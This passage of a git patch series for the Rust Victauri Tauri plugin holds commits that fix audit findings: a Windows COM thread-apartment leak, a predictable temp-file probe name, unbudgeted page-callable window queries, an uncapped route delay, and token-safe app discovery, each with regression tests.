"saturated": driven_count >= COMMAND_TIMINGS_CAP, "ipc_traffic": ipc_traffic, "ipc_commands_observed": ipc_traffic.len(), "slow_threshold_ms": params.slow_threshold_ms, diff --git a/crates/victauri-plugin/src/mcp/robustness_tests.rs b/crates/victauri-plugin/src/mcp/robustness_tests.rs index 9bb97b43..78ae785c 100644 --- a/crates/victauri-plugin/src/mcp/robustness_tests.rs +++ b/crates/victauri-plugin/src/mcp/robustness_tests.rs @@ -685,3 +685,40 @@ async fn a_refused_query_is_refused_before_any_database_is_resolved() { assert!(text(&r).contains(expect), "{sql}: {}", text(&r)); } } + +/// B-L8: the timings map stops tracking NEW command names at its cap; the output says so. +#[tokio::test] +async fn command_timings_reports_when_its_command_cap_is_hit() { + let h = handler(TestBridge::default()); + h.state + .command_timings + .record("one", Duration::from_millis(1)); + let r = json( + &call( + &h, + "introspect", + serde_json::json!({"action": "command_timings"}), + ) + .await, + ); + assert_eq!(r["saturated"], false, "{r}"); + for i in 0..super::COMMAND_TIMINGS_CAP + 50 { + h.state + .command_timings + .record(&format!("cmd-{i}"), Duration::from_millis(1)); + } + // The cap mirrored here is the one `CommandTimings` enforces. + assert_eq!( + h.state.command_timings.all_stats().len(), + super::COMMAND_TIMINGS_CAP + ); + let r = json( + &call( + &h, + "introspect", + serde_json::json!({"action": "command_timings"}), + ) + .await, + ); + assert_eq!(r["saturated"], true, "{r}"); +} From 7a8d503dc778c0439793e7cb58cf9150afe7a55c Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 20:15:02 +1000 Subject: [PATCH 071/167] fix(screenshot): run WGC COM work on a dedicated MTA thread (G-11) The Windows.Graphics.Capture path called CoInitializeEx(MTA) on Tauri's shared blocking-pool threads and never balanced it, leaving each such thread in the MTA for good (a later STA init there returned RPC_E_CHANGED_MODE -- reproduced by the new test). A matching CoUninitialize was rejected: windows-core 0.61 caches agile activation factories process-wide (`FactoryCache` forgets them), and tearing down the last MTA member lets COM unload the DLLs behind those cached pointers. Instead all WGC work runs on one long-lived `victauri-com` thread that enters the MTA once and stays in it; a panic there is caught so the worker survives. No shared thread's COM state is touched any more. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/screenshot.rs | 111 +++++++++++++++++++++-- 1 file changed, 102 insertions(+), 9 deletions(-) diff --git a/crates/victauri-plugin/src/screenshot.rs b/crates/victauri-plugin/src/screenshot.rs index 906267ca..c14ff193 100644 --- a/crates/victauri-plugin/src/screenshot.rs +++ b/crates/victauri-plugin/src/screenshot.rs @@ -250,13 +250,79 @@ async fn capture_window_wgc_raw(hwnd: isize) -> anyhow::Result<(Vec, u32, u3 } /// Blocking WGC capture: D3D11 device → `GraphicsCaptureItem` from the HWND → -/// free-threaded `Direct3D11CaptureFramePool` (we are on a tokio blocking +/// free-threaded `Direct3D11CaptureFramePool` (the work runs on the COM worker /// thread, not a `DispatcherQueue` thread) → one frame → CPU staging texture → /// map → BGRA rows (respecting `RowPitch`) → straight RGBA, cropped to the /// client area so output dimensions match the GDI path (`PW_CLIENTONLY`). #[cfg(windows)] -#[allow(unsafe_code)] fn capture_window_wgc_blocking(hwnd: isize) -> anyhow::Result<(Vec, u32, u32)> { + run_on_com_thread(move || capture_window_wgc_on_com_thread(hwnd))? +} + +#[cfg(windows)] +type ComJob = Box; + +/// Run `f` on Victauri's dedicated COM worker thread and wait for its result. +/// +/// `WinRT` activation needs an initialized apartment. Calling `CoInitializeEx(MTA)` on the +/// caller's thread — one of Tauri's SHARED blocking-pool threads — and never balancing it left +/// that thread in the MTA for good, so later work there needing an STA failed with +/// `RPC_E_CHANGED_MODE` (G-11). Balancing it with `CoUninitialize` is not safe either: +/// windows-rs caches agile activation factories process-wide, and tearing down the last MTA +/// member lets COM unload the DLLs those cached pointers point into. So all WGC work runs on +/// one long-lived thread that enters the MTA once and stays in it for the process lifetime +/// (keeping the MTA, and every cached factory, valid), and no shared thread is ever touched. +#[cfg(windows)] +#[allow(unsafe_code)] +fn run_on_com_thread(f: F) -> anyhow::Result +where + T: Send + 'static, + F: FnOnce() -> T + Send + 'static, +{ + static WORKER: std::sync::OnceLock>> = + std::sync::OnceLock::new(); + let sender = WORKER.get_or_init(|| { + let (tx, rx) = std::sync::mpsc::channel::(); + let spawned = std::thread::Builder::new() + .name("victauri-com".to_string()) + .spawn(move || { + // SAFETY: enters this dedicated thread into the MTA once; it is deliberately + // never uninitialized (see above). + let _ = unsafe { + windows::Win32::System::Com::CoInitializeEx( + None, + windows::Win32::System::Com::COINIT_MULTITHREADED, + ) + }; + for job in rx { + job(); + } + }); + if let Err(e) = spawned { + tracing::warn!("victauri: cannot start the COM worker thread: {e}"); + } + std::sync::Mutex::new(tx) + }); + let (result_tx, result_rx) = std::sync::mpsc::channel(); + let job: ComJob = Box::new(move || { + // A panic must not kill the shared worker (every later capture would fail). + let _ = result_tx.send(std::panic::catch_unwind(std::panic::AssertUnwindSafe(f))); + }); + sender + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .send(job) + .map_err(|_| anyhow::anyhow!("the COM worker thread is not running"))?; + match result_rx.recv() { + Ok(Ok(value)) => Ok(value), + Ok(Err(_panic)) => anyhow::bail!("the capture panicked on the COM worker thread"), + Err(_) => anyhow::bail!("the COM worker thread dropped the capture"), + } +} + +#[cfg(windows)] +#[allow(unsafe_code)] +fn capture_window_wgc_on_com_thread(hwnd: isize) -> anyhow::Result<(Vec, u32, u32)> { use windows::Graphics::Capture::{ Direct3D11CaptureFramePool, GraphicsCaptureItem, GraphicsCaptureSession, }; @@ -271,7 +337,6 @@ fn capture_window_wgc_blocking(hwnd: isize) -> anyhow::Result<(Vec, u32, u32 }; use windows::Win32::Graphics::Dxgi::IDXGIDevice; use windows::Win32::Graphics::Gdi::ClientToScreen; - use windows::Win32::System::Com::{COINIT_MULTITHREADED, CoInitializeEx}; use windows::Win32::System::WinRT::Direct3D11::{ CreateDirect3D11DeviceFromDXGIDevice, IDirect3DDxgiInterfaceAccess, }; @@ -283,13 +348,9 @@ fn capture_window_wgc_blocking(hwnd: isize) -> anyhow::Result<(Vec, u32, u32 // SAFETY: All Win32/WinRT calls operate on the provided window handle and // on COM objects owned by this function. The mapped staging texture is - // read only while mapped and unmapped before the objects drop. + // read only while mapped and unmapped before the objects drop. This runs on the + // dedicated COM worker thread, which is in the MTA (see `run_on_com_thread`). unsafe { - // WinRT activation (the GraphicsCaptureItem factory) requires an - // initialized apartment on this thread. Tokio blocking threads are - // reused, so an "already initialized" result is fine — ignore it. - let _ = CoInitializeEx(None, COINIT_MULTITHREADED); - if !GraphicsCaptureSession::IsSupported().unwrap_or(false) { anyhow::bail!("Windows.Graphics.Capture is not supported on this Windows build"); } @@ -898,6 +959,38 @@ fn adler32(data: &[u8]) -> u32 { mod tests { use super::*; + /// G-11: the WGC path called `CoInitializeEx(MTA)` on Tauri's shared blocking-pool threads + /// and never balanced it, leaving each such thread in the MTA for good. Any later user of + /// that thread that needs an STA then got `RPC_E_CHANGED_MODE`. + #[cfg(windows)] + #[test] + #[allow(unsafe_code)] + fn wgc_capture_leaves_the_calling_thread_com_state_untouched() { + use windows::Win32::System::Com::{ + COINIT_APARTMENTTHREADED, CoInitializeEx, CoUninitialize, + }; + for _ in 0..2 { + let hr = std::thread::spawn(|| { + // hwnd 0 fails right after the apartment is entered (GetWindowRect). + assert!(capture_window_wgc_blocking(0).is_err()); + // SAFETY: plain COM apartment calls on this thread; balanced on success. + unsafe { + let hr = CoInitializeEx(None, COINIT_APARTMENTTHREADED); + if hr.is_ok() { + CoUninitialize(); + } + hr + } + }) + .join() + .unwrap(); + assert!( + hr.is_ok(), + "the capture left the calling thread in the MTA: STA init returned {hr:?}" + ); + } + } + #[test] fn png_signature_correct() { let rgba = vec![255, 0, 0, 255]; // 1x1 red pixel From 6ccf43606ab39762f0d451f0476be0cdfb7c969c Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:29:39 +1000 Subject: [PATCH 072/167] fix(discovery): unpredictable plugin uid-probe file name (R4-DISC2, plugin part) `current_euid` probed with `.victauri_plugin_uidprobe__` in the shared temp dir, so another local user could pre-plant every name it would try; it then returned None and discovery was disabled (the callers fail closed on an unknown uid). The probe name is now a random UUID v4. Reproduced and verified under WSL/Linux with 4096 pre-planted names. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/server.rs | 39 +++++++++++++++++++----- 1 file changed, 32 insertions(+), 7 deletions(-) diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index b38f6ab0..ab3d8514 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -513,16 +513,20 @@ fn discovery_root_from( #[cfg(unix)] fn current_euid() -> Option { + current_euid_in(&std::env::temp_dir()) +} + +#[cfg(unix)] +fn current_euid_in(dir: &std::path::Path) -> Option { use std::os::unix::fs::{MetadataExt, OpenOptionsExt}; - use std::sync::atomic::{AtomicU64, Ordering}; - static NEXT_PROBE: AtomicU64 = AtomicU64::new(0); + // An UNPREDICTABLE name (R4-DISC2): `_` in the shared temp dir let another + // local user pre-plant every name we would try, making this fail — which disables + // discovery (the callers fail closed on an unknown uid). for _ in 0..16 { - let sequence = NEXT_PROBE.fetch_add(1, Ordering::Relaxed); - let probe = std::env::temp_dir().join(format!( - ".victauri_plugin_uidprobe_{}_{}", - std::process::id(), - sequence + let probe = dir.join(format!( + ".victauri_plugin_uidprobe_{}", + uuid::Uuid::new_v4().simple() )); let file = std::fs::OpenOptions::new() .write(true) @@ -1337,6 +1341,27 @@ mod tests { use super::*; use victauri_core::{AppEvent, InteractionKind, IpcResult}; + /// R4-DISC2: the uid-probe file name (`.victauri_plugin_uidprobe__`) was + /// predictable, so another user sharing `/tmp` could pre-plant it and make `current_euid` + /// fail — which disables discovery entirely (fail closed). + #[cfg(unix)] + #[test] + fn uid_probe_survives_pre_planted_probe_names() { + use std::os::unix::fs::MetadataExt; + let dir = tempfile::tempdir().unwrap(); + for seq in 0..4096 { + std::fs::create_dir(dir.path().join(format!( + ".victauri_plugin_uidprobe_{}_{seq}", + std::process::id() + ))) + .unwrap(); + } + let expected = std::fs::metadata(dir.path()).unwrap().uid(); + assert_eq!(current_euid_in(dir.path()), Some(expected)); + // The probe cleans up after itself: only the planted entries remain. + assert_eq!(std::fs::read_dir(dir.path()).unwrap().count(), 4096); + } + // Round-4 audit blocker #4: a pre-planted explicit ACE for an arbitrary principal // (the auditor used BUILTIN\Guests) must NOT survive the discovery-dir hardening. // Proves the robust owner-only DACL replacement closes the icacls residual. From f64ec5764cda3efefdf61ef7660ea0efd0c4b8fd Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:33:12 +1000 Subject: [PATCH 073/167] fix(tools): budget page-callable window queries (G-2) victauri_list_windows / victauri_get_window_state are callable by page script and each is a main-thread round trip serialized with every other (the agent's included), with no concurrency limit: a page could queue ~1000 and starve the agent. They now share a 4-query budget; beyond it a query is refused at once, like a page eval over its budget. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/tools.rs | 55 ++++++++++++++++++++++++++--- 1 file changed, 50 insertions(+), 5 deletions(-) diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index 34edc89f..0d40be0b 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -15,6 +15,25 @@ pub const MAX_PAGE_PENDING_EVALS: usize = 25; /// Page-originated eval slots ONE window may hold, so one window cannot starve the others. pub const MAX_PAGE_PENDING_EVALS_PER_WINDOW: usize = 10; +/// Page-callable window queries (`victauri_list_windows` / `victauri_get_window_state`) allowed +/// in flight at once, across all windows. Each is a main-thread round trip serialized with every +/// other one (the agent's included); without a budget page script could queue hundreds and +/// starve the agent. Beyond it a query is refused at once, like a page eval over its budget. +pub const MAX_PAGE_WINDOW_QUERIES: usize = 4; +pub(crate) static PAGE_WINDOW_QUERY_SLOTS: tokio::sync::Semaphore = + tokio::sync::Semaphore::const_new(MAX_PAGE_WINDOW_QUERIES); + +/// Run page-originated window query `f` within [`MAX_PAGE_WINDOW_QUERIES`]. +pub(crate) fn page_window_query(f: impl FnOnce() -> T) -> Result { + let _slot = PAGE_WINDOW_QUERY_SLOTS.try_acquire().map_err(|_| { + format!( + "too many concurrent page-originated window queries (limit \ + {MAX_PAGE_WINDOW_QUERIES}); retry when one has finished" + ) + })?; + Ok(f()) +} + /// The window a page-originated eval id belongs to. fn page_eval_window(id: &str) -> Option<&str> { let rest = id.strip_prefix(PAGE_EVAL_PREFIX)?; @@ -196,17 +215,14 @@ pub async fn victauri_get_window_state( app: tauri::AppHandle, label: Option, ) -> Result, String> { - Ok(crate::bridge::WebviewBridge::get_window_states( - &app, - label.as_deref(), - )) + page_window_query(|| crate::bridge::WebviewBridge::get_window_states(&app, label.as_deref())) } #[tauri::command] pub async fn victauri_list_windows( app: tauri::AppHandle, ) -> Result, String> { - Ok(crate::bridge::WebviewBridge::list_window_labels(&app)) + page_window_query(|| crate::bridge::WebviewBridge::list_window_labels(&app)) } #[tauri::command] @@ -274,3 +290,32 @@ pub async fn victauri_check_ipc_integrity( let report = victauri_core::check_ipc_integrity(&state.event_log, threshold); serde_json::to_value(report).map_err(|e| e.to_string()) } + +#[cfg(test)] +mod tests { + use super::*; + + /// G-2: `victauri_list_windows` / `victauri_get_window_state` are callable by page script + /// and each is a main-thread round trip serialized with every other; without a budget a + /// page could queue hundreds and starve the agent's calls. Beyond the budget a query is + /// refused at once, and a slot is released when its query finishes. + #[test] + fn page_window_queries_are_budgeted() { + let held: Vec<_> = (0..MAX_PAGE_WINDOW_QUERIES) + .map(|_| PAGE_WINDOW_QUERY_SLOTS.try_acquire().unwrap()) + .collect(); + let refused = page_window_query(|| 1); + assert!( + refused + .as_ref() + .is_err_and(|e| e.contains("page-originated window queries")), + "{refused:?}" + ); + drop(held); + assert_eq!(page_window_query(|| 7), Ok(7)); + assert_eq!( + PAGE_WINDOW_QUERY_SLOTS.available_permits(), + MAX_PAGE_WINDOW_QUERIES + ); + } +} From 2b10c861e3dabaa334fb69ea3a681cff1fac2bb2 Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:36:23 +1000 Subject: [PATCH 074/167] fix(route): cap route add delay_ms (G-12) route add forwarded any delay_ms (u64) to the page, which holds a delayed request that long. It is now capped at 120000 ms like a fault delay and refused with a clear error before the rule reaches the page. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/mod.rs | 47 +++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 7979d248..a1a2b9db 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -2675,6 +2675,14 @@ impl VictauriMcpHandler { rule["content_type"] = serde_json::json!(ct); } if let Some(d) = params.delay_ms { + // A delayed request is held this long in the page; cap it like a `fault` + // delay rather than accept any u64. + if d > MAX_FAULT_DELAY_MS { + return tool_error_with_hint( + format!("delay_ms {d} exceeds the maximum of {MAX_FAULT_DELAY_MS} ms"), + RecoveryHint::CheckInput, + ); + } rule["delay_ms"] = serde_json::json!(d); } if let Some(t) = params.times { @@ -8633,6 +8641,45 @@ mod command_policy_dispatch_tests { assert!(text.contains("not focusable"), "key sent anyway: {text}"); } + /// G-12: `route add` forwarded any `delay_ms` (a u64) to the page, where a delayed request + /// is held that long. It is capped like a `fault` delay, refused before reaching the page. + #[tokio::test] + async fn route_delay_is_capped() { + let state = eval_state_with_timeout(2_000); + let bridge = RecordingBridge::answering(state.pending_evals.clone()); + bridge.answer_evals_with(&ok_envelope(&json!({"ok": true, "id": 1}))); + let h = VictauriMcpHandler::new(state, Arc::new(bridge.clone())); + let added = |b: &RecordingBridge| { + b.scripts + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .iter() + .filter(|s| s.contains("addRoute(")) + .count() + }; + let r = call( + &h, + "route", + json!({"action": "add", "pattern": "/api", "behavior": "delay", + "delay_ms": MAX_FAULT_DELAY_MS + 1}), + ) + .await; + let text = result_text(&r); + assert_eq!(r.is_error, Some(true), "{text}"); + assert!(text.contains("delay_ms"), "{text}"); + assert_eq!(added(&bridge), 0, "the rule must not reach the page"); + // At the cap it is accepted. + let r = call( + &h, + "route", + json!({"action": "add", "pattern": "/api", "behavior": "delay", + "delay_ms": MAX_FAULT_DELAY_MS}), + ) + .await; + assert_ne!(r.is_error, Some(true), "{}", result_text(&r)); + assert_eq!(added(&bridge), 1); + } + /// The eval envelope for a page result `value`. fn ok_envelope(value: &serde_json::Value) -> String { json!({"__victauri_ok": value, "__victauri_type": "object"}).to_string() From 20915079ddc6feb85508999e694d792c0e727fc7 Mon Sep 17 00:00:00 2001 From: antony Date: Mon, 28 Sep 2026 22:42:24 +1000 Subject: [PATCH 075/167] fix(victauri-test): discovery keeps live apps' entries and never sends a token to the wrong app (R4-DISC1, R4-TOK1, R4-CLI1, R4-NET1, R4-TC1, R4-DISC2) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - R4-DISC1: process liveness is now a tri-state (`Liveness`: Own / OtherUser / Unverified / Dead / Unknown). An entry is deleted only when its owner is definitely dead — never because one 100 ms port probe failed (a live-but-busy app writes its entry once), never when liveness could not be checked. Unix liveness no longer hard-codes /bin/kill: it tries the kill binary (incl. the NixOS/Guix system profiles), then a shell's builtin `kill`, then /proc, and answers "unknown" (never "dead") when nothing works. On Windows a live process whose token is unreadable (e.g. elevated) is "unverified": not trusted for a token, never deleted. - R4-TOK1: VICTAURI_AUTH_TOKEN without VICTAURI_PORT is sent only to the unique live, trusted app whose own discovery token equals it; otherwise discovery fails with a message naming VICTAURI_PORT (it used to go to whoever held 7373). - R4-CLI1: VICTAURI_APP (and the new `VictauriClient::discover_app`) select an app by exact identifier/product name; several live apps with no selector are an error listing `identifier (port N, pid P)` and how to select one. - R4-NET1: `is_alive`, `reconnect` and `TestApp` treat a 429 from /health as alive (`health_status_means_alive`). - R4-TC1: `invoke_command_with_timeout(command, args, timeout_ms)`; the HTTP timeout follows it (clamped like the server, 40 s headroom as in the bridge). - R4-DISC2: UID-probe files use unpredictable (uuid) names. - Unit tests resolve discovery against a private temp root, never the machine's real discovery directories. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-test/Cargo.toml | 3 +- crates/victauri-test/src/app.rs | 10 +- crates/victauri-test/src/client.rs | 193 ++++++++++-- crates/victauri-test/src/discovery.rs | 424 +++++++++++++++++++++----- crates/victauri-test/src/lib.rs | 2 + crates/victauri-test/src/process.rs | 264 ++++++++++++++-- 6 files changed, 774 insertions(+), 122 deletions(-) diff --git a/crates/victauri-test/Cargo.toml b/crates/victauri-test/Cargo.toml index ad7919b6..400fd95f 100644 --- a/crates/victauri-test/Cargo.toml +++ b/crates/victauri-test/Cargo.toml @@ -25,6 +25,8 @@ thiserror = { workspace = true } tokio = { workspace = true } png = "0.17" base64 = "0.22" +# Unpredictable names for the UID-probe files created in the shared temp dir (R4-DISC2). +uuid = { workspace = true } [target.'cfg(windows)'.dependencies] # Process liveness + owner check for discovery (`process.rs`), instead of spawning tasklist. @@ -32,7 +34,6 @@ windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Securit [dev-dependencies] axum = { workspace = true } -uuid = { workspace = true } http-body-util = "0.1" tower = { version = "0.5", features = ["util"] } tokio = { workspace = true } diff --git a/crates/victauri-test/src/app.rs b/crates/victauri-test/src/app.rs index 73d1563b..fd2ef120 100644 --- a/crates/victauri-test/src/app.rs +++ b/crates/victauri-test/src/app.rs @@ -168,7 +168,8 @@ impl TestApp { reason: format!("health check failed: {e}"), })?; - if !resp.status().is_success() { + // A 429 is the server answering (rate-limited): alive (R4-NET1). + if !crate::client::health_status_means_alive(resp.status().as_u16()) { return Err(TestError::Connection { host: "127.0.0.1".into(), port, @@ -240,7 +241,7 @@ impl TestApp { let url = format!("http://127.0.0.1:{port}/health"); if let Ok(resp) = http.get(&url).send().await - && resp.status().is_success() + && crate::client::health_status_means_alive(resp.status().as_u16()) { self.port = port; self.token = token; @@ -278,10 +279,13 @@ impl TestApp { if self.port != 0 { let token = std::env::var("VICTAURI_AUTH_TOKEN") .ok() - .filter(|value| !value.trim().is_empty()) + .map(|value| value.trim().to_string()) + .filter(|value| !value.is_empty()) .or_else(|| crate::discovery::scan_discovery_dirs_for_token_on_port(self.port)); return (self.port, token); } + // Never pairs an explicit token with the default port (R4-TOK1); an ambiguous or + // refused resolution polls the default port without a token until it resolves. crate::discovery::resolve_connection() } } diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index 4e50cf92..46ac5990 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -32,8 +32,13 @@ async fn wait_past_ipc_checkpoint_ms(checkpoint_ms: u64) { const DEFAULT_REQUEST_TIMEOUT: Duration = Duration::from_secs(60); /// Headroom added on top of a tool's own `timeout_ms` so the HTTP request never -/// times out before the server-side wait it is waiting on has finished. -const TOOL_TIMEOUT_HEADROOM: Duration = Duration::from_secs(10); +/// times out before the server-side wait it is waiting on has finished. Before that wait +/// starts the server may wait for the webview bridge (up to 5 s), probe it (up to 2 s) and +/// make main-thread round trips — the same allowance `victauri bridge` uses. +const TOOL_TIMEOUT_HEADROOM: Duration = Duration::from_secs(40); + +/// The server's ceiling for any per-call `timeout_ms` (`invoke_command`). +const MAX_TOOL_TIMEOUT_MS: u64 = 300_000; /// Per-request HTTP timeout for a tool call. Tools that block server-side for a /// caller-chosen `timeout_ms` (e.g. `wait_for`, which accepts up to 120 000 ms) @@ -44,11 +49,25 @@ fn request_timeout_for(arguments: &Value) -> Duration { .get("timeout_ms") .and_then(Value::as_u64) .map_or(DEFAULT_REQUEST_TIMEOUT, |ms| { - DEFAULT_REQUEST_TIMEOUT - .max(Duration::from_millis(ms).saturating_add(TOOL_TIMEOUT_HEADROOM)) + DEFAULT_REQUEST_TIMEOUT.max( + Duration::from_millis(ms.min(MAX_TOOL_TIMEOUT_MS)) + .saturating_add(TOOL_TIMEOUT_HEADROOM), + ) }) } +/// Whether an HTTP status from `GET /health` proves the Victauri server is alive. +/// +/// A `2xx` does, and so does `429 Too Many Requests`: `/health` shares the public rate-limit +/// bucket, so anyone on the machine can flood it, and a rate-limited reply is still the +/// server answering. Treating 429 as "down" let an unauthenticated flood make every client +/// report a live app as unreachable (round-4 audit R4-NET1). +#[doc(hidden)] +#[must_use] +pub fn health_status_means_alive(status: u16) -> bool { + (200..300).contains(&status) || status == 429 +} + /// Truncate `text` to at most `max_chars` characters without splitting a UTF-8 /// code point (byte slicing like `&text[..200]` panics on non-ASCII bodies). pub fn truncate_chars(text: &str, max_chars: usize) -> &str { @@ -518,21 +537,39 @@ impl VictauriClient { /// Auto-discover a running Victauri server via temp files. /// /// Discovery priority: - /// 1. `VICTAURI_PORT` / `VICTAURI_AUTH_TOKEN` env vars (explicit override) - /// 2. Per-process discovery directory: `/victauri//port` - /// 3. Default: port 7373, no auth + /// 1. `VICTAURI_PORT` (+ optional `VICTAURI_AUTH_TOKEN`) — the explicit endpoint + /// 2. Per-process discovery directories (`//{port,token,metadata.json}`), + /// narrowed by `VICTAURI_APP` (exact bundle identifier or product name) when set + /// 3. Default: port 7373, no auth — only when no Victauri app is discovered at all + /// + /// A `VICTAURI_AUTH_TOKEN` without `VICTAURI_PORT` is only sent to the running app whose + /// own discovery token equals it — never to whatever holds the default port. /// /// # Errors /// - /// Returns [`TestError::Connection`] if the server is unreachable or - /// returns a non-success status. Returns [`TestError::Request`] on - /// HTTP transport failures. + /// Returns [`TestError::Other`] when discovery cannot pick one app (several are running + /// and nothing selects one, the selected app is not running, or an explicit token + /// matches no running app) — the message names the running apps and how to select one. + /// Returns [`TestError::Connection`] if the server is unreachable or returns a + /// non-success status. Returns [`TestError::Request`] on HTTP transport failures. pub async fn discover() -> Result { - // Classify the discovery directory BEFORE `discover_port` runs — that path - // deletes stale (unreachable) discovery dirs as a side effect, so the - // diagnosis must be captured first to explain a subsequent failure. + Self::discover_app(None).await + } + + /// [`Self::discover`], selecting the app by its exact Tauri bundle identifier (or + /// product name) when several Victauri apps are running. `None` falls back to the + /// `VICTAURI_APP` env var, then to "the single running app". + /// + /// # Errors + /// + /// As [`Self::discover`]. + pub async fn discover_app(app: Option<&str>) -> Result { + // Classify the discovery directory BEFORE resolving — resolution deletes the + // entries of dead apps as a side effect, so the diagnosis must be captured first + // to explain a subsequent failure. let diagnosis = crate::discovery::diagnose_discovery(); - let (port, token) = crate::discovery::resolve_connection(); + let (port, token) = + crate::discovery::try_resolve_connection(app).map_err(TestError::Other)?; match Self::connect_with_token(port, token.as_deref()).await { Ok(mut client) => { client.discovered = true; @@ -558,14 +595,17 @@ impl VictauriClient { /// Check whether the server is still reachable. /// - /// Sends a GET to `/health` and returns `true` if the response is 200 OK. + /// Sends a GET to `/health` and returns `true` if the server answered with a success + /// status — or with `429 Too Many Requests`: a rate-limited answer still proves the + /// server is alive (an unauthenticated `/health` flood must not make a live app look + /// dead, R4-NET1). #[must_use] pub async fn is_alive(&self) -> bool { self.http .get(format!("{}/health", self.base_url)) .send() .await - .is_ok_and(|r| r.status().is_success()) + .is_ok_and(|r| health_status_means_alive(r.status().as_u16())) } /// Re-establish an MCP session after the app restarts. @@ -600,7 +640,7 @@ impl VictauriClient { .get(format!("http://{}:{port}/health", self.host)) .send() .await - .is_ok_and(|r| r.status().is_success()), + .is_ok_and(|r| health_status_means_alive(r.status().as_u16())), None => false, }; if alive && let Some((port, token)) = endpoint { @@ -1046,6 +1086,9 @@ impl VictauriClient { /// Invoke a Tauri command by name with optional arguments. /// + /// Uses the server's default command timeout; for a slow command use + /// [`Self::invoke_command_with_timeout`]. + /// /// # Errors /// /// Returns errors from [`VictauriClient::call_tool`]. @@ -1054,11 +1097,28 @@ impl VictauriClient { command: &str, args: Option, ) -> Result { - let mut params = json!({"command": command}); - if let Some(a) = args { - params["args"] = a; - } - self.call_tool("invoke_command", params).await + self.call_tool("invoke_command", invoke_command_params(command, args, None)) + .await + } + + /// [`Self::invoke_command`] with an explicit server-side timeout (`timeout_ms`, capped + /// by the server at 300 000 ms) — the option the server's own timeout error tells you to + /// set for a slow command. The HTTP request timeout is extended to outlast it. + /// + /// # Errors + /// + /// Returns errors from [`VictauriClient::call_tool`]. + pub async fn invoke_command_with_timeout( + &mut self, + command: &str, + args: Option, + timeout_ms: u64, + ) -> Result { + self.call_tool( + "invoke_command", + invoke_command_params(command, args, Some(timeout_ms)), + ) + .await } /// Get the IPC call log. @@ -2201,6 +2261,18 @@ impl VictauriClient { } } +/// `invoke_command` tool arguments. +fn invoke_command_params(command: &str, args: Option, timeout_ms: Option) -> Value { + let mut params = json!({"command": command}); + if let Some(a) = args { + params["args"] = a; + } + if let Some(ms) = timeout_ms { + params["timeout_ms"] = json!(ms); + } + params +} + fn save_screenshot_to_file( base64_data: &str, path: &std::path::Path, @@ -2498,10 +2570,85 @@ mod transport_tests { ); assert_eq!( request_timeout_for(&json!({"timeout_ms": 120_000})), - Duration::from_secs(130) + Duration::from_secs(160) + ); + // Clamped the way the server clamps it. + assert_eq!( + request_timeout_for(&json!({"timeout_ms": u64::MAX})), + Duration::from_secs(340) ); } + #[test] + fn invoke_command_with_timeout_sends_timeout_ms_and_outlasts_it() { + // R4-TC1: the server tells a slow command's caller to set `timeout_ms`, but the + // client had no way to send it. + let params = invoke_command_params("slow", Some(json!({"n": 1})), Some(200_000)); + assert_eq!(params["command"], "slow"); + assert_eq!(params["args"]["n"], 1); + assert_eq!(params["timeout_ms"], 200_000); + assert!(request_timeout_for(¶ms) > Duration::from_millis(200_000)); + // The plain form is unchanged. + assert_eq!( + invoke_command_params("fast", None, None), + json!({"command": "fast"}) + ); + } + + /// A minimal HTTP server answering every request with `status` and an empty body, which + /// records the JSON bodies it received. + async fn fixed_status_server( + status: u16, + ) -> (u16, std::sync::Arc>>) { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + let seen = std::sync::Arc::new(std::sync::Mutex::new(Vec::new())); + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let port = listener.local_addr().unwrap().port(); + let record = std::sync::Arc::clone(&seen); + tokio::spawn(async move { + loop { + let Ok((mut sock, _)) = listener.accept().await else { + return; + }; + let record = std::sync::Arc::clone(&record); + tokio::spawn(async move { + let mut buf = vec![0u8; 16 * 1024]; + let n = sock.read(&mut buf).await.unwrap_or(0); + record + .lock() + .unwrap() + .push(String::from_utf8_lossy(&buf[..n]).into_owned()); + let reply = format!( + "HTTP/1.1 {status} X\r\nContent-Length: 0\r\nConnection: close\r\n\r\n" + ); + let _ = sock.write_all(reply.as_bytes()).await; + }); + } + }); + (port, seen) + } + + #[test] + fn a_rate_limited_health_answer_means_alive() { + // R4-NET1. + assert!(health_status_means_alive(200)); + assert!(health_status_means_alive(204)); + assert!(health_status_means_alive(429)); + assert!(!health_status_means_alive(401)); + assert!(!health_status_means_alive(404)); + assert!(!health_status_means_alive(500)); + 